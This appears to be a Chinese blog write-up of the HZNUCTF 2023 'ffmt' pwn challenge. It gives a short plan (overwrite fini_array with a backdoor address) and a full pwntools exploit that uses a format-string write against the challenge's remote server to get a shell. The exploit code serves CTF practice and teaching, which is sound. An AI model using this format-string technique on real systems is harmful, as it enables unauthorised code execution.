0%

[HZNUCTF 2023 preliminary]ffmt

2025-03-02 07:51By
zhanhe
格式化字符串PWN

Problem: [HZNUCTF 2023 preliminary]ffmt

思路

  • 解题大致思路
    劫持fini_array为backdoor地址即可
    使用readelf -a ffmt查看fini_array地址
    write_size要设置为long才能绕过限制

EXP

  • 具体攻击代码
from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug') # io = process('./silverwolf') io = remote('node5.anna.nssctf.cn', 25351) s = lambda content: io.send(content) sl = lambda content: io.sendline(content) sa = lambda content, send: io.sendafter(content, send) sla = lambda content, send: io.sendlineafter(content, send) rc = lambda number: io.recv(number) ru = lambda content: io.recvuntil(content) def slog(name, address): print("\033[40;31m[+]\033[40;35m" + name + "==>" + hex(address) + "\033[0m") def debug(): gdb.attach(io) def get_address(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00')) fini_array = 0x403228 back_door = 0x40121B sla(b'name: ', 'test') payload = fmtstr_payload(6, {fini_array:back_door}, write_size="long") sla(b'yourself~', payload) io.interactive()

总结

  • 对该题的考点总结
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有
加载失败
广告
×
评论区
添加新评论